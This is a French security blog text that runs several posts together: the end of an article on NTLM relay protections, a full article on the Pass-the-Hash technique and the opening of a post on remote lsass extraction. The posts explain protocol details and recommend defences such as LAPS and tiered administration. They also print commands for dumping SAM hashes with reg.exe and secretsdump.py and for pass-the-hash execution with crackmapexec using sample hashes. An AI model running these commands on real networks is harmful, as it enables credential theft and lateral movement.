Rentrer dans les explications ne serait pas très utile, mais on voit clairement une différence de complexité d’une version à l’autre. Toute manière je le répète, n’utilisez pas NTLMv1 dans un réseau de production.

Avec ces informations, nous comprenons bien que le client peut calculer cette clé de son côté, puisqu’il a toutes les informations en main pour le faire.

Le serveur en revanche, ne peut pas toujours faire ça tout seul, comme un grand. Dans le cas d’une authentification locale, il n’y a pas de problème puisque le serveur connait le hash NT de l’utilisateur.

En revanche lors d’une authentification avec un compte de domaine, le serveur va devoir demander au contrôleur de domaine de calculer cette clé de session à sa place, et de la lui renvoyer. Nous avons vu dans l’article sur pass-the-hash que le serveur envoie une demande au contrôleur de domaine dans une structure NETLOGON_NETWORK_INFO et que le contrôleur de domaine répond avec une structure NETLOGON_VALIDATION_SAM_INFO4. C’est dans cette réponse du contrôleur de domaine que se trouve la clé de session, en cas d’authentification réussie.

La question qui se pose alors, c’est de savoir ce qui empêche un attaquant de faire la même demande que le serveur cible auprès du contrôleur de domaine. Et bien avant la CVE-2015-0005, rien !

What we found while implementing the NETLOGON protocol [12] is the domain controller not verifying whether the authentication information being sent, was actually meant to the domain-joined machine that is requesting this operation (e.g. NetrLogonSamLogonWithFlags()). What this means is that any domain-joined machine can verify any pass-through authentication against the domain controller, and to get the base key for cryptographic operations for any session within the domain.

Donc évidemment, Microsoft a corrigé ce bug. Pour vérifier que seul le serveur sur lequel s’authentifie l’utilisateur a le droit de demander la clé de session, le contrôleur de domaine va vérifier que la machine cible présente dans la réponse AUTHENTICATE est la même que la machine effectuant la requête NetLogon.

Dans la réponse AUTHENTICATE, nous avons vu la présence d’un drapeau msAvFlags indiquant la présence ou non du MIC, mais il y a également d’autres informations, telle que le nom Netbios de la machine cible de l’authentification.

C’est ce nom là qui est comparé avec la machine effectuant la requête NetLogon. Ainsi, si l’attaquant essaie de faire une requête NetLogon pour avoir la clé de session, le nom de l’attaquant ne correspondant pas au nom de la machine dans la réponse NTLM, le contrôleur de domaine va rejeter la demande.

Enfin, de la même manière que msAvFlags, nous ne pouvons pas modifier le nom de la machine à la volée dans la réponse NTLM, car il est pris en compte dans le calcul de la réponse NTLMv2.

Channel Binding

Nous allons parler d’une dernière notion. Plusieurs fois nous avons répété que la couche d’authentification, donc les messages NTLM, était quasi-indépendante de la couche applicative, du protocole utilisé (SMB, LDAP, …). Je dis “quasi” parce que nous avons vu que certains protocoles utilisent les drapeaux des messages NTLM pour savoir si la session doit être signée ou non.

Quoiqu’il en soit, en l’état, il est tout à fait possible pour un attaquant de récupérer un message NTLM dans un protocole A, et de le renvoyer dans un protocole B. C’est le principe du relais cross-protocole que nous avons déjà évoqué.

Et bien une nouvelle protection existe pour contrer cette attaque. C’est la protection appelée channel binding, ou liaison de canaux, en bon français. Le principe de cette protection, c’est de lier la couche authentification avec le protocole utilisé, voire avec la couche TLS dans laquelle tout est parfois encapsulé (LDAPS ou HTTPS par exemple). L’idée générale étant que dans le dernier message NTLM AUTHENTICATE, il y ait une information non modifiable par un attaquant qui indique le service souhaité, et potentiellement une autre information qui contienne une emprunte du certificat du serveur avec qui elle communique.

Nous allons voir ces deux principes un peu plus en détail, mais ne vous inquiétez pas, c’est relativement simple à comprendre.

Liaison avec le service

Cette première protection est assez simple à comprendre. Si un client souhaite s’authentifier auprès d’un serveur pour utiliser un service spécifique, l’information identifiant le service sera ajoutée dans la reponse NTLM.

De cette manière, lorsque le serveur légitime reçoit cette authentification, il peut voir le service qui a été demandé par le client, et s’il diffère de ce qui est vraiment demandé, il n’accepte pas de fournir le service.

Le nom du service se trouvant dans la réponse NTLM, il est protégé par la réponse NtProofStr qui est un HMAC_MD5 de cette information, du challenge, et d’autres informations comme le msAvFlags. Elle est, je le rappelle, calculée avec le secret du client.

Dans l’exemple présenté dans le dernier schéma, nous voyons un client qui tente de s’authentifier via HTTP auprès du serveur. Sauf que le serveur, c’est un attaquant, et l’attaquant rejoue cette authentification auprès du serveur légitime, pour accéder non plus à un service web (via HTTP), mais un partage réseau (SMB).

Sauf que le client a indiqué le service qu’il souhaitait utiliser dans sa réponse NTLM, et comme l’attaquant ne peut pas le modifier, il est obligé de le relayer tel quel. Le serveur reçoit alors le dernier message, compare le service demandé par l’attaquant avec le service renseigné dans le message NTLM, et refuse la connexion en s’apercevant que les deux services ne correspondent pas.

Concrètement, ce qu’on appelle service, c’est en fait le SPN ou Service Principal Name qui est renseigné dans le dernier message NTLM. J’ai consacré un article entier à l’explication de cette notion, je vous invite à vous y réferrer si nécessaire.

Voilà une capture d’écran d’un client qui envoie le SPN dans sa réponse NTLM.

Nous voyons qu’il indique bien vouloir utiliser le service CIFS (équivalent de SMB, juste une différentes terminologie). Relayer ça vers un serveur LDAP qui prend en compte cette information résultera en un beau refus de la part du serveur.

Mais comme vous pouvez le voir, il n’y a pas que le nom du service dans le SPN (CIFS). Il y a également la cible de l’authentification, ici l’adresse IP de l’attaquant. Cela implique que si un attaquant relaie ce message à un serveur, et que le serveur vérifie le SPN, il verra qu’il n’est pas destination indiquée dans le SPN et refusera la connexion.

Ainsi, cette protection, si supportée par tous les clients et serveurs, et si requise pour tous les serveurs, protège de tout relais NTLM.

Liaison avec la couche TLS

Cette fois-ci, cette protection a pour but de lier la couche d’authentification, donc toujours les messages NTLM, à la couche TLS qui peut potentiellement être utilisée.

Si le client souhaite utiliser un protocole encapsulé dans TLS (HTTPS, LDAPS par exemple), il va établir une session TLS avec le serveur, et il va créer un condensat du certificat du serveur qu’il va mettre dans sa réponse NTLM. Ce condensat est appelé Channel Binding Token, ou CBT. Le serveur légitime va alors recevoir le message NTLM à la fin de l’authentification, lire le condensat indiqué dans la réponse, et le comparer avec le vrai condensat de son certificat. S’il est différent, c’est qu’il n’est pas le destinataire original de cet échange.

Encore une fois, ce condensat se trouvant dans la réponse NTLM, il est protégé par la réponse NtProofStr, comme pour le SPN du Service Binding.

De cette manière, les deux attaques suivantes ne sont plus possibles :

Si un attaquant souhaite relayer une information d’un client utilisant un protocole sans couche TLS vers un protocole avec couche TLS (HTTP vers LDAPS, par exemple), l’attaquant ne sera pas en mesure d’ajouter le condensat du certificat du serveur cible dans la réponse NTLM, puisqu’il ne peut pas la recalculer.
Si un attaquant souhaite relayer un protocole avec TLS vers un autre protocole avec TLS, lors de l’établissement de la session TLS entre le client et lui, il ne pourra pas fournir le certificat du serveur, puisqu’il ne correspond pas à l’identité de l’attaquant. Il devra donc fournir un certificat “maison”, identifiant l’attaquant. Le client va alors faire un condensat de ce certificat, et lorsque l’attaquant relaiera la réponse NTLM au serveur légitime, le condensat dans la réponse ne sera pas le même que le condensat du vrai certificat, donc le serveur rejettera la connexion.

Voilà un schéma un peu barbu pour représenter le 2ème cas.

Il montre l’établissement de deux sessions TLS. L’une entre le client et l’attaquant (en rouge) et une entre l’attaquant et le serveur (en bleu). Le client va récupérer le certificat de l’attaquant, et en calculer un condensat, cert hash, en rouge.

A la fin des échanges NTLM, ce condensat sera mis dans la réponse NTLM, et sera protégée puisqu’il fait partie de la donnée chiffrée de la réponse NTLM. Quand le serveur recevra ce condensat, il va calculer le condensat de son propre certificat, et en voyant que ce n’est pas le même, il refusera la connexion.

Que peut-on relayer ?

Avec toutes ces informations, vous devriez être capables de savoir quels protocoles peuvent être relayés vers quels protocoles. Nous avons vu qu’il était impossible de relayer du SMB vers du LDAP ou du LDAPS, par exemple. En revanche, tout client qui ne positionne pas le drapeau NEGOTIATE_SIGN peut être relayé vers LDAP si la signature n’est pas imposée, ou LDAPS si le channel binding n’est pas requis.

Comme il existe beaucoup de cas, voici un tableau qui en résume certains.

Concernant LDAPS ou HTTPS en client, je les ai mis dans le tableau, sous réserve que la CA qui a généré le certificat de l’attaquant soit acceptée par le client. Par ailleurs, d’autres protocoles pourraient être ajoutés, comme SQL ou SMTP, mais j’avoue ne pas avoir lu la documentations de tous les protocoles de la planète.

Bannir. NTLMv1.

J’ajoute un petit fun fact que m’a suggéré d’ajouter Marina Simakov, c’est que comme on l’a vu, le hash NTLMv2 d’un client prend en compte le challenge du serveur, mais aussi notamment le drapeau msAvFlags qui indique la présence ou non d’un MIC, ou le champ indiquant le nom de la machine cible lors de l’authentification, ou encore le SPN ou le CBT pour le channel binding.

Et bien le protocole NTLMv1 ne fait pas ça. Il ne prend en compte que le challenge du serveur. En fait, il n’y a plus les informations complémentaires comme le nom de la cible, le drapeau msAvFlags, le SPN ou le CBT.

Ainsi, si une authentification NTLMv1 est autorisée par un serveur, l’attaquant peut simplement enlever le MIC et ainsi relayer des authentifications vers LDAP ou LDAPS, par exemple. Mais il peut aussi (et surtout) effectuer des requêtes NetLogon pour récupérer la clé de session. En effet, le contrôleur de domaine n’a aucun moyen de vérifier si l’attaquant a le droit, ou non, de faire cette demande. Et comme il ne va pas bloquer un parc de production qui ne serait pas complètement à jour, et bien il va gentiment la donner, pour des “raisons de rétro-compatibilité”.

Une fois en possession de la clé de session, l’attaquant peut alors signer tous les paquets qu’il souhaite. Ainsi, il peut même discuter avec les machines qui requièrent la signature des flux.

C’est le comportement “by design” donc ça ne peut pas être corrigé. Donc je le répète, n’autorisez pas NTLMv1 dans un réseau de production.

Conclusion

Et bien, ça fait beaucoup d’informations à digérer.

Nous avons vu ici le fonctionnement du relais NTLM, en prenant bien conscience que l’authentification et la session qui s’en suit sont deux notions distinctes permettant de faire du relais cross-protocole dans beaucoup de cas. Bien que le protocole englobe d’une manière ou d’une autre les données d’authentification, elles sont pour lui opaques, et gérées par SSPI.

Nous avons également montré en quoi la signature des flux pouvait protéger le serveur d’attaques de type homme du milieu. Pour cela, la cible doit attendre une signature des flux de la part du client, sinon l’attaquant pourra se faire passer pour quelqu’un d’autre sans avoir à signer les messages qu’il envoie.

Nous avons vu que le MIC était très important pour protéger les échanges NTLM, notamment le drapeau indiquant si les flux seront signés pour certains protocoles, ou les informations sur le channel binding.

Nous avons d’ailleurs terminé en montrant comment le channel binding permettait de faire le lien entre la couche d’authentification et la couche de session, soit via le nom du service, soit via une liaison avec le certificat du serveur.

J’espère que ce long article vous a permis de mieux comprendre ce qu’il se passait lors d’une attaque de relais NTLM. Vous comprenez j’espère mieux les briques qui entrent en jeu, et les protections existantes.

Cet article étant assez conséquent, il est tout à fait probable que des coquilles se soient glissées à l’intérieur. N’hésitez pas à me contacter sur twitter ou sur mon serveur Discord pour discuter de tout ça.

Pass the Hash

Tue, 17 Dec 2019 23:01:21 +0000

Durant les tests d’intrusion internes, le mouvement latéral est une composante essentielle pour l’auditeur afin de chercher des informations en vue d’élever ses privilèges sur le système d’information. La technique dite du Pass the Hash est extrêmement utilisée dans cette situation pour devenir administrateur sur un ensemble de machines. Nous allons détailler ici le fonctionnement de cette technique.

Protocole NTLM

Le protocole NTLM est un protocole d’authentification utilisé dans les environnement Microsoft. Il permet notamment à un utilisateur de prouver qui il est auprès d’un serveur pour pouvoir utiliser un service proposé par ce serveur.

Note : Dans cet article, le terme “serveur” est employé dans le sens client/serveur. Le “serveur” peut très bien être un poste de travail.

Deux cas de figure peuvent se présenter :

Soit l’utilisateur utilise les identifiants d’un compte local du serveur, auquel cas le serveur possède le secret de l’utilisateur dans sa base locale et il pourra authentifier l’utilisateur;
Soit, dans un environnement Active Directory, l’utilisateur utilise un compte de domaine lors de l’authentification, et le serveur devra alors dialoguer avec le contrôleur de domaine pour vérifier les informations fournies par l’utilisateur.

Dans les deux cas, l’authentification commence par une phase de challenge/réponse (ou stimulation/réponse) entre le client et le serveur.

Challenge - Réponse

Le principe du challenge/réponse est utilisé pour que le serveur vérifie que l’utilisateur connaisse le secret du compte avec lequel il s’authentifie, sans pour autant faire transiter le mot de passe sur le réseau. C’est ce qu’on appelle une preuve à divulgation nulle de connaissance. Trois étapes composent cet échange :

Négociation : Le client indique au serveur qu’il veut s’authentifier auprès de lui (NEGOTIATE_MESSAGE).
Challenge : Le serveur envoie un challenge au client. Ce n’est rien d’autre qu’une valeur aléatoire de 64 bits qui change à chaque demande d’authentification (CHALLENGE_MESSAGE).
Réponse : Le client chiffre le challenge précédemment reçu en utilisant une version hashée de son mot de passe comme clé, et renvoie cette version chiffrée au serveur, avec son nom d’utilisateur et éventuellement son domaine (AUTHENTICATE_MESSAGE).

Voici une capture d’écran de mon lab. On voit que l’utilisateur Administrateur tente de se connecter sur la machine LKAPP01.lion.king

Les échanges NTLM sont encadrés en rouge en haut, et dans la partie basse se trouvent les informations contenues dans la réponse du serveur CHALLENGE_MESSAGE. On y trouve notamment le challenge.

Suite à ces échanges, le serveur est en possession de deux choses :

Le challenge qu’il a envoyé au client
La réponse du client qui a été chiffrée avec son secret

Pour finaliser l’authentification, il ne reste plus au serveur qu’à vérifier la validité de la réponse envoyée par le client. Mais juste avant ça, faisons un petit point sur le secret du client.

Secret d’authentification

Nous avons dit que le client utilise comme clé une version hashée de son mot de passe, et ce pour la raison suivante : Eviter de stocker les mots de passe des utilisateurs en clair sur le serveur. C’est donc un condensat du mot de passe qui est enregistré à la place. Ce condensat est aujourd’hui le hash NT, qui n’est rien d’autre que le résultat de la fonction MD4, sans sel, rien.

hashNT = MD4(password)

Donc pour résumer, lorsque le client s’authentifie, il utilise l’empreinte MD4 de son mot de passe pour chiffrer le challenge. Voyons alors ce qu’il se passe du côté du serveur, une fois cette réponse reçue.

Authentification

Comme expliqué tout à l’heure, il existe deux scénarios différents. Le premier est que le compte utilisé pour l’authentification est un compte local, c’est à dire que le serveur a connaissance de ce compte, et il a une copie du secret du compte. Le deuxième est qu’un compte de domaine est utilisé, auquel cas le serveur n’a pas connaissance de ce compte ou son secret. Il devra déléguer l’authentification au contrôleur de domaine.

Compte local

Dans le cas où l’authentification se fait avec un compte local, le serveur va chiffrer le challenge qu’il a envoyé au client avec la clé secrète de l’utilisateur, ou plutôt avec le hash MD4 du secret de l’utilisateur. Il vérifiera ainsi si le résultat de son opération est égal à la réponse du client, prouvant que l’utilisateur possède le bon secret. Le cas contraire, la clé utilisée par l’utilisateur n’est pas la bonne puisque le chiffrement du challenge ne donne pas celui attendu.

Pour pouvoir effectuer cette opération, le serveur a besoin de stocker les utilisateurs locaux et le condensat de leur secret. Le nom de cette base de donnée est la SAM (Security Accounts Manager). La SAM peut être trouvée dans la base de registre, notamment avec l’outil regedit mais uniquement lorsqu’on y accède en tant que SYSTEM. On peut l’ouvrir en tant que SYSTEM avec psexec :

psexec.exe -i -s regedit.exe

Une copie se trouve également sur disque à l’emplacement C:\Windows\System32\SAM.

Elle contient donc les utilisateurs locaux et le condensat de leur mot de passe, mais aussi la liste des groupes locaux. Enfin si on veut être précis, elle contient une version chiffrée des condensats. Mais comme toutes les informations pour les déchiffrer sont également dans la base de registres (SAM et SYSTEM), on peut faire le raccourci, et dire que c’est bien le condensat qui est stocké. Si vous voulez voir comment le déchiffrement fonctionne, vous pouvez aller voir le code de secretsdump.py ou celui de Mimikatz.

On peut d’ailleurs très bien sauvegarder les bases de données SAM et SYSTEM pour extraire la base des condensats des utilisateurs.

D’abord on enregistre les deux bases de données dans un fichier

reg.exe save hklm\sam save.save
reg.exe save hklm\system system.save

Ensuite, on peut utiliser secretsdump.py pour extraire les hash

secretsdump.py -sam sam.save -system system.save LOCAL

Donc pour résumer, voici le processus de vérification.

Comme le serveur envoie un challenge (1) et que le client chiffre ce challenge avec le hash de son secret puis le renvoie au serveur, avec son nom d’utilisateur (2), le serveur va chercher le hash du mot de passe de l’utilisateur dans sa base SAM (3). Une fois en possession de ce condensat, il va lui aussi chiffrer le challenge précédemment envoyé avec ce hash (4), et il pourra ainsi confronter son résultat à celui renvoyé par l’utilisateur. Si c’est le même (5) alors l’utilisateur est bien authentifié ! Le cas contraire, l’utilisateur n’a pas fourni le bon secret.

Compte de domaine

Dans le cas où l’authentification se fait avec un compte du domaine, le hash NT de l’utilisateur n’est plus stocké sur le serveur, mais sur le contrôleur de domaine. Le serveur auprès duquel veut s’authentifier l’utilisateur reçoit alors la réponse à son challenge, mais il n’est pas en mesure de vérifier si cette réponse est valide. Il va déléguer cette tâche au contrôleur de domaine.

Pour cela, il va utiliser le service Netlogon, service qui est capable d’établir une connexion sécurisée avec le contrôleur de domaine. Cette connexion sécurisée s’appelle Secure Channel. Elle est possible puisque le serveur possède son propre mot de passe, et le contrôleur de domaine connait le hash de ce mot de passe. Ils peuvent alors, de la même manière, effectuer un challenge/réponse pour s’échanger une clé de session et communiquer de manière sécurisée.

Je ne vais pas rentrer dans les détails, mais l’idée est donc que le serveur va envoyer différents éléments au contrôleur de domaine dans une structure appelée NETLOGON_NETWORK_INFO:

Le nom d’utilisateur du client (Identity)
Le challenge envoyé précédemment au client (LmChallenge)
La réponse au challenge envoyée par le client (NtChallengeResponse)

Je ne parle pas de LmChallengeResponse puisque dans cet article, je m’intéresse seulement au hash NT, pas au hash LM qui est complètement obsolète.

Le contrôleur de domaine va chercher le hash NT de l’utilisateur dans sa base de données. Pour le contrôleur de domaine, ce n’est pas dans la SAM, puisque c’est un compte du domaine qui s’authentifie. Cette fois-ci c’est dans un fichier appelé NTDS.DIT, qui est la base de données de tous les utilisateurs. Une fois le hash NT récupéré, il va calculer la réponse attendue avec ce hash et le challenge, et va confronter ce résultat à la réponse du client.

Un message sera ensuite envoyé au serveur (NETLOGON_VALIDATION_SAM_INFO4) indiquant si oui ou non le client est authentifié, et il enverra également tout un tas d’informations concernant l’utilisateur. Ce sont d’ailleurs les mêmes informations que celles qu’on retrouve dans le PAC lors d’une authentification Kerberos.

Donc pour résumer, voici le processus de vérification avec un contrôleur de domaine.

De la même manière que tout à l’heure, le serveur envoie un challenge (1) et le client jsnow chiffre ce challenge avec le hash de son secret puis le renvoie au serveur, accompagné de son nom d’utilisateur et le nom du domaine (2). Cette fois-ci, le serveur va envoyer ces informations au contrôleur de domaine dans un Secure Channel à l’aide du service Netlogon (3). Une fois en possession de ces informations, le contrôleur de domaine va lui aussi chiffrer le challenge en utilisant le hash de l’utilisateur, trouvé dans sa base de données (4), et il pourra ainsi confronter son résultat à celui renvoyé par l’utilisateur. Si c’est le même (5) alors l’utilisateur est bien authentifié. Le cas contraire, l’utilisateur n’a pas fourni le bon secret. Dans les deux cas, le contrôleur de domaine transmet l’information au serveur (6).

Limites du hash NT

Si vous avez bien suivi, vous aurez compris qu’en fait, le mot de passe en clair n’est jamais utilisé dans ces échanges, mais bien la version hashée du mot de passe, appelé hash NT. Ce hash est un condensat simple du mot de passe en clair.

Donc en fait, si on y réfléchit bien, voler le mot de passe en clair ou voler le hash revient exactement au même. Comme c’est le hash qui est utilisé pour répondre au challenge/réponse, être en possession du hash permet de s’authentifier auprès d’un serveur. Avoir le mot de passe en clair n’est absolument pas utile.

Finalement, on peut même dire qu’avoir le hash NT revient à avoir le mot de passe en clair, dans la majorité des cas.

Pass the Hash

On comprend donc bien que si un attaquant connait le hash NT d’un administrateur local d’une machine, il peut tout à fait s’authentifier auprès de cette machine en utilisant ce condensat. De la même manière, s’il possède le hash NT d’un utilisateur de domaine qui fait partie d’un groupe d’administration local d’une machine, il peut également s’authentifier auprès de cette machine en tant qu’administrateur local.

Administrateur local du parc

Maintenant, plaçons nous dans un environnement d’entreprise : Un nouveau collaborateur arrive, et un poste lui est fourni. Le département informatique ne s’amuse pas à installer et configurer depuis zéro un système Windows pour chaque collaborateur. Non, l’informaticien est paresseux, et s’il peut automatiser, il automatise.

Ce qui est très courant est le scénario suivant : Une version du système Windows est installée et configurée pour répondre à tous les besoins de base d’un nouveau collaborateur. Cette version de base appelée master est enregistrée dans un coin, et une copie de cette version est fournie à chaque nouvel arrivant.

Cela implique que le compte administrateur local est le même sur tous les postes qui ont bénéficié du même master.

Vous voyez où je veux en venir ? Si jamais un seul de ces postes est compromis et que l’attaquant extrait le hash NT de l’administrateur du poste, comme tous les autres postes ont le même compte d’admin avec le même mot de passe, et bien ils auront également le même hash NT. L’attaquant peut alors utiliser le hash trouvé sur le poste compromis et le rejouer sur tous les autres postes pour s’authentifier dessus.

C’est ce qu’on appelle passer le hash, ou plus communément la technique du Pass the hash.

Prenons un exemple, nous avons trouvé que le hash NT de l’utilisateur Administrateur est 20cc650a5ac276a1cfc22fbc23beada1. Nous pouvons le rejouer sur une autre machine en espérant que cette machine ait été configurée de la même manière. Cet exemple utilise l’outil psexec.py de la suite Impacket.

Bingo, ce hash fonctionne également sur la nouvelle machine, et nous avons la main dessus.

Compte de domaine à privilèges

Il existe une autre manière d’utiliser la technique du Pass the hash. Imaginons que pour l’administration du parc à distance, il existe un groupe “HelpDesk” dans l’Active Directory. Pour que les membres de ce groupe puissent intervenir sur les machines des utilisateurs, le groupe est ajouté au groupe local “Administrateurs” de chaque machine. Ce groupe local contient les entités ayant les droits d’administration sur la machine.

On peut d’ailleurs les lister avec la commande suivante

# Machine française
net localgroup Administrateurs

# ~Reste du monde
net localgroup Administrators

On obtiendra alors un résultat comme celui-ci :

Nom alias       Administrateur
Commentaire     Les membres du groupe Administrateurs disposent d'un accès complet et illimité à l'ordinateur et au domaine

Membres

-------------------------
Administrateur
ADSEC\Admins du domaine
ADSEC\HelpDesk

Nous avons donc le groupe du domaine ADSEC\HelpDesk qui fait partie des administrateurs de la machine. Si jamais un attaquant vole le hash NT d’un des membres de ce groupe, il peut tout à fait demander à s’authentifier sur les machines ayant ADSEC\HelpDesk dans la liste des administrateurs.

L’avantage par rapport au compte local, c’est que quelque soit le master utilisé pour mettre en place les machines, le groupe sera ajouté par GPO à la configuration de la machine. Les chances sont plus grandes pour que ce compte ait des droits d’administration plus étendus, indépendamment des OS et des mises en service des machines.

Lors de la demande d’authentification, le serveur va donc déléguer l’authentification au contrôleur de domaine, et si l’authentification réussit, alors le contrôleur de domaine va envoyer au serveur des informations sur l’utilisateur telles que son nom, la liste des groupes auxquels il appartient, la date d’expiration de son mot de passe etc.

Le serveur va donc savoir que l’utilisateur fait partie du groupe HelpDesk, et lui donnera un accès administrateur.

Prenons un nouvel exemple, nous avons trouvé que le hash NT de l’utilisateur jsnow est 89db9cd74150fc8d8559c3c19768ca3f. Ce compte fait partie du groupe HelpDesk qui est administrateur local de toutes les machines du parc. Rejouons alors son hash sur une autre machine.

De la même manière, l’authentification a fonctionné et nous sommes administrateur de la cible.

Automatisation

Maintenant que nous avons compris le fonctionnement de l’authentification NTLM, et pourquoi un hash NT pouvait être utilisé pour s’authentifier auprès d’autres machines, il serait utile de pouvoir automatiser la connexion sur les différentes cibles pour récupérer autant d’informations que possible en parallélisant les tâches.

Pour cela, l’outil CrackMapExec est idéal. Il prend en entrée une liste de machines cibles, des identifiants, avec un mot de passe en clair ou un hash NT, et il peut exécuter des commandes sur les cibles pour lesquelles l’authentification a fonctionné.

# Compte local d'administration
crackmapexec smb --local-auth -u Administrateur -H 20cc650a5ac276a1cfc22fbc23beada1 10.10.0.1 -x whoami

# Compte de domaine
crackmapexec smb -u jsnow -H 89db9cd74150fc8d8559c3c19768ca3f -d adsec.local  10.10.0.1 -x whoami

Voici un exemple dans lequel l’utilisateur simba est administrateur de tous les postes de travail.

Le Pass the hash a été effectué sur quelques machines qui sont alors compromises. Un argument a été passé à CrackMapExec pour énumérer les utilisateurs actuellement connectés sur ces machines.

Avoir la liste des utilisateurs connectés, c’est bien, mais avoir leur mot de passe ou leur hash NT (ce qui est pareil), c’est mieux ! Pour ça, j’ai développé l’outil lsassy dont je parle dans l’article Extraction des secrets de lsass à distance. Et en pratique, et bien ça donne ça :

Nous récupérons tous les hash NT des utilisateurs connectés. Ceux des comptes machine ne sont pas affichés puisque nous sommes déjà administrateur de ces machines, ils ne nous sont donc pas utiles.

Limites du Pass the hash

Le Pass the hash est une technique qui fonctionne toujours lorsque l’authentification NTLM est acceptée par le serveur. Cependant, il existe des méchanismes dans Windows qui limitent ou peuvent limiter les actions d’administration.

En effet, sur Windows, la gestion des droits est effectuée à l’aide de jetons de sécurité (Access tokens) qui permettent de savoir qui a le droit de faire quoi. Les membres du groupe “Administrateurs” possèdent deux tokens. Un avec les droits d’un utilisateur standard, et un autre avec les droits administrateur. Par défaut, lorsqu’un administrateur exécute une tâche, elle est effectuée dans le contexte limité, standard. Si en revanche des actions d’administration doivent être exécutées, alors Windows affiche cette fenêtre très connue appelée UAC (User Account Control ou Contrôle de Compte Utilisateur)

L’utilisateur est averti que les droits d’administration sont demandés par l’application.

Quid alors des actions d’administration effectuées à distance ? Et bien deux cas sont possibles.

Soit elles sont demandées par un compte du domaine qui fait partie du groupe “Administrateurs” de la machine, auquel cas l’UAC n’est pas activé pour ce compte, et il peut faire ses tâches d’administration.
Soit elles sont demandées par un compte local qui fait partie du groupe “Administrateurs” de la machine, et dans ce cas, l’UAC est activé dans certains cas, mais pas tous.

Pour comprendre le deuxième cas, faisons le point sur deux clés de registre un peu méconnues, mais qui ont pourtant un rôle essentiel lorsque des actions d’administration tentent d’être effectuées suite à une authentification NTLM avec un compte local d’administration.

LocalAccountTokenFilterPolicy

Cette première clé de registre se trouve ici dans la base :

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System

Elle peut avoir deux valeurs, 0 ou 1.

Par défaut, elle n’est pas présente, ce qui implique qu’elle vaut 0.

Si elle vaut 0, valeur par défaut donc, alors seul le compte administrateur natif (RID 500) est en mesure d’effectuer des actions d’administration sans que l’UAC ne l’embête. Les autres comptes d’administration, donc ceux créés par les utilisateurs et ensuite ajoutés en tant qu’administrateurs locaux, ne pourront pas faire d’action d’administration à distance puisque l’UAC sera activée, et ils ne pourront pas valider la boite de dialogue à distance.
Si elle vaut 1, alors tous les comptes dans le groupe “Administrateurs” peuvent faire des actions d’administration à distance, natif ou non.

Donc pour résumer, voici les deux cas :

LocalAccountTokenFilterPolicy = 0 : Seul le compte “Administrateur” RID 500 peut faire des actions d’administration à distance
LocalAccountTokenFilterPolicy = 1 : Tous les comptes dans le groupe “Administrateurs” peuvent faire des actions d’administration à distance

FilterAdministratorToken

Cette deuxième clé de registre se trouve au même endroit dans la base de registre :

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System

Elle peut également avoir les valeurs 0 ou 1

Par défault, elle vaut aussi 0.

Si elle vaut 0, valeur par défaut donc, alors le compte administrateur natif (RID 500) est en mesure d’effectuer des actions d’administration sans que l’UAC ne l’embête. Cette clé ne concerne pas les autres comptes.
Si elle vaut 1, alors le compte administrateur natif (RID 500) est également soumis à l’UAC, et il n’est plus en mesure d’effectuer des tâches d’administration à distance, sauf si la première clé dont on a parlé vaut 1.

Donc pour résumer, voici les deux cas :

FilterAdministratorToken = 0 : Le compte natif Administrateur peut faire des actions d’administration à distance
FilterAdministratorToken = 1 : Le compte natif Administrateur ne peut pas faire des actions d’administration à distance, sauf si LocalAccountTokenFilterPolicy vaut 1

Résumé

Voici un petit tableau résumé. Pour chaque combinaison des deux clés de registre, ce tableau indique si les actions d’administration à distance sont possibles avec un compte administrateur natif et avec un compte administrateur non natif. Les valeurs en gras sont les valeurs par défaut.

Je précise encore une fois que ces informations concernent les actions d’administration. En effet, il est toujours possible de s’authentifier auprès de la machine, quelles que soient les valeurs des clés de registres. Voici un petit programme utilisant la librairie impacket qui permet de comprendre ce point :

from impacket.smbconnection import SMBConnection, SMB_DIALECT

conn = SMBConnection("192.168.1.122", "192.168.1.122")

"""
Dans un premier temps, nous nous authentifions en tant que
"Administrateur" sur la machine distante. Une authentification
NTLM va être effectuée, et comme se sont les bonnes informations,
nous serons authentifiés sur la machine distante.
"""
try:
    conn.login("Administrateur", "S3cUr3d+")
    print("Logged in !")
except:
    print("Loggon failure")
    exit()

"""
Nous nous plaçons dans le cas où :
LocalAccountTokenFilterPolicy = 0
FilterAdministratorToken = 1
D'après le tableau précédant, le compte administrateur natif
n'est pas en mesure d'effectuer des actions d'administration,
telle qu'accéder au partage réseau C$.
"""
try:
    conn.connectTree("C$")
    print("Access granted !")
except:
    print("Access denied")
    exit()

Si nous le lançons, voici le résultat :

Cela confirme bien que l’authentification a fonctionné, mais que le contexte d’administration demandé a été refusé puisque l’UAC est activé pour le compte, puisqu’imposé par la clé FilterAdministratorToken dans cet exemple.

Conclusion

L’authentification NTLM est aujourd’hui encore beaucoup utilisée en entreprise. D’expérience, je n’ai encore jamais vu d’environnement ayant réussi à désactiver NTLM sur l’ensemble de son parc. La technique du Pass the hash reste donc très efficace.

Cette technique est inhérente au protocole NTLM, cependant il est possible de limiter les dégats en évitant d’avoir le même mot de passe d’administration locale sur tous les postes. La solution LAPS de Microsoft est une solution parmi d’autres pour gérer automatiquement les mots de passe des administrateurs en faisant en sorte que ce mot de passe (donc aussi le hash NT) soit différent sur tous les postes.

Par ailleurs, mettre en place une administration en SILO permet d’éviter les élévations de privilèges au sein du système d’information. Des administrateurs dédiés à des zones de criticité différentes (bureautique, serveur, contrôleurs de domaine, …) se connectent uniquement sur leur zone, et ne peuvent pas accéder à une zone différente. Si ce type d’administration est mise en place et qu’une machine d’une zone est compromise, l’attaquant ne pourra pas utiliser les identifiants trouvés pour atteindre une autre zone.

Enfin, bien positionner les clés de registre dont nous avons parlé dans le dernier paragraphe permet de limiter les actions des administrateurs.

Une partie de ces recommandations est indiquée dans le Guide d’hygiène informatique publié par l’ANSSI.

En attendant, cette technique a encore de beaux jours devant elle !

Si vous avez des questions, n’hésitez pas à les poser ici ou sur Discord et je me ferai une joie de tenter d’y répondre. De la même manière, si vous voyez des coquilles, je suis tout ouïe. A la prochaine !

Extraction des secrets de lsass à distance

Thu, 28 Nov 2019 22:40:00 +0000

Lors de tests d’intrusion en entreprise, le mouvement latéral et l’élévation de privilèges sont deux concepts fondamentaux pour avancer et prendre le contrôle de la cible. Il existe une multitude de moyens de faire l’un ou l’autre, mais aujourd’hui nous allons présenter une nouvelle technique pour lire le contenu d’un dump de lsass à distance, diminuant significativement la latence et la détection lors de l’extraction de mots de passe sur un ensemble de machines.

Introduction

